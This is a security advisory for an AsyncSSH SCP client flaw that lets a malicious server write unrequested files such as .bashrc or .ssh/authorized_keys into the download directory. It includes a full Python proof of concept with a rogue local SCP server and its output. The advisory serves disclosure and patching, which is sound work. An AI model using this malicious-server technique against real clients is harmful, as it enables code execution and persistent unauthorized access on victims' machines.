# GHSA-PVF2-Q84M-2J7G: SCP Download Writes Unrequested Files to Destination

- Database: GitHub
- Severity: CVSS 5.3 (Medium)
- Published: 2026-11-27
- Modified: 2026-12-04

## Tracked as

- [CVE-2026-144666](https://cve.now/CVE-2026-144666.md): AsyncSSH arbitrary file write in SCP client downloads

## Affected versions

- asyncssh (PyPI): through 2.24.1

## Description

### Summary

In AsyncSSH through 2.24.1, when `scp()` downloads from a remote host, a malicious or compromised server can send files with names other than the ones requested, and the client writes them into the destination directory. For example, a request for `report.txt` can instead create or overwrite `.bashrc` or `.profile`, and with `recurse=True` the server can send a directory such as `.ssh` containing `authorized_keys`. Files can't be written outside the destination directory. This is the AsyncSSH equivalent of OpenSSH's CVE-2019-6111.

### Details

In the SCP protocol, the remote source chooses the name of each file and directory it sends. AsyncSSH already rejected names which could leave the destination directory, such as ones containing `/` or `..`, but it didn't check that the names sent matched what was requested.

The top-level names sent by the server must now match the last part of the requested path, including any wildcards in it. If that part depends on an expansion by the remote shell, such as `~` or a variable, the expected names can't be determined, so the copy is aborted. As in OpenSSH, names below a requested directory aren't checked. A new `check_names` option can be set to `False` to turn off this check, for remote systems which return names that differ from the request.

### Impact

A malicious or compromised SCP server can create or overwrite any file in the destination directory of an `scp()` download, regardless of which file was requested. When the destination is a home directory or another directory whose files are executed or trusted, this can give the server code execution on the client (for example, through `.bashrc` or `.profile`) or persistent SSH access (through `.ssh/authorized_keys`). Elsewhere, it can overwrite existing files in the destination directory.

Downloads from trusted servers and uploads aren't affected.

### Workarounds

Download into a new, empty directory and check its contents before moving files into place.

### Proof of concept

The following script, written by the reporter, starts an AsyncSSH server on 127.0.0.1 whose exec handler plays the SCP source side, then calls `asyncssh.scp((conn, path), dest_dir)` as a normal client would. The destination directory already holds a `.bashrc` containing `ORIGINAL`. It runs two honest controls (`report.txt` and the wildcard `report*.txt`) and two attacks.

#### Script
```python
# PoC files for this bug: asyncssh SCP client accepts file names the server
# chooses instead of the file that was requested. Local only (127.0.0.1).
import asyncio, os, tempfile, asyncssh

SCENARIOS = {
    # name: (what the client requests, recurse, records the server sends)
    'control: honest server':
        ('report.txt', False, [(b'C', b'report.txt', b'honest report\n')]),
    'control: wildcard request, honest server':
        ('report*.txt', False, [(b'C', b'report1.txt', b'r1\n'),
                                (b'C', b'report2.txt', b'r2\n')]),
    'attack 1: request report.txt, server sends .bashrc and .profile':
        ('report.txt', False, [(b'C', b'.bashrc', b'echo PWNED\n'),
                               (b'C', b'.profile', b'echo PWNED2\n')]),
    'attack 2: recursive request of reports/, server sends .ssh/authorized_keys':
        ('reports', True, [(b'D', b'.ssh', None),
                           (b'C', b'authorized_keys', b'ssh-ed25519 AAAA attacker\n'),
                           (b'E', None, None)]),
}

def make_handler(records):
    async def handler(process):
        r, w = process.stdin, process.stdout
        await r.readexactly(1)                      # client ready
        for kind, name, body in records:
            if kind == b'E':
                w.write(b'E\n'); await r.readexactly(1); continue
            mode = b'0700' if kind == b'D' else b'0644'
            size = len(body) if body is not None else 0
            w.write(b'%s%s %d %s\n' % (kind, mode, size, name))
            if (await r.readexactly(1)) != b'\0':
                break                               # client refused it
            if kind == b'C':
                w.write(body + b'\0'); await r.readexactly(1)
        process.exit(0)
    return handler

async def run(title, req, recurse, records):
    dest = tempfile.mkdtemp()
    with open(os.path.join(dest, '.bashrc'), 'w') as f:
        f.write('ORIGINAL\n')

    class Server(asyncssh.SSHServer):
        def begin_auth(self, username): return False

    key = asyncssh.generate_private_key('ssh-ed25519')
    srv = await asyncssh.listen('127.0.0.1', 0, server_factory=Server,
                                server_host_keys=[key], encoding=None,
                                process_factory=make_handler(records))
    port = srv.sockets[0].getsockname()[1]
    print('==', title, '| requested:', repr(req), 'recurse=%s' % recurse)
    async with asyncssh.connect('127.0.0.1', port, known_hosts=None,
                                username='u') as conn:
        try:
            await asyncssh.scp((conn, req), dest, recurse=recurse)
        except Exception as exc:
            print('   scp raised', type(exc).__name__ + ':', exc)
    for root, _, files in os.walk(dest):
        for name in sorted(files):
            path = os.path.join(root, name)
            print('   dest/%s = %r' % (os.path.relpath(path, dest),
                                     open(path).read()))
    srv.close()

async def main():
    print('asyncssh', asyncssh.__version__)
    for title, (req, recurse, records) in SCENARIOS.items():
        await run(title, req, recurse, records)

asyncio.run(main())
```

#### Output (AsyncSSH 2.24.1)
```
asyncssh 2.24.1
== control: honest server | requested: 'report.txt' recurse=False
   dest/.bashrc = 'ORIGINAL\n'
   dest/report.txt = 'honest report\n'
== control: wildcard request, honest server | requested: 'report*.txt' recurse=False
   dest/.bashrc = 'ORIGINAL\n'
   dest/report1.txt = 'r1\n'
   dest/report2.txt = 'r2\n'
== attack 1: request report.txt, server sends .bashrc and .profile | requested: 'report.txt' recurse=False
   dest/.bashrc = 'echo PWNED\n'
   dest/.profile = 'echo PWNED2\n'
== attack 2: recursive request of reports/, server sends .ssh/authorized_keys | requested: 'reports' recurse=True
   dest/.bashrc = 'ORIGINAL\n'
   dest/.ssh/authorized_keys = 'ssh-ed25519 AAAA attacker\n'
```

### Patches

This issue is fixed in AsyncSSH 2.24.2.

### Credits

Thanks to Adrian Korwel and Zachariah Mithani for reporting this issue and providing proof of concept code.

## References

- https://github.com/ronf/asyncssh/security/advisories/GHSA-pvf2-q84m-2j7g

Page: https://cve.now/GHSA-PVF2-Q84M-2J7G

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
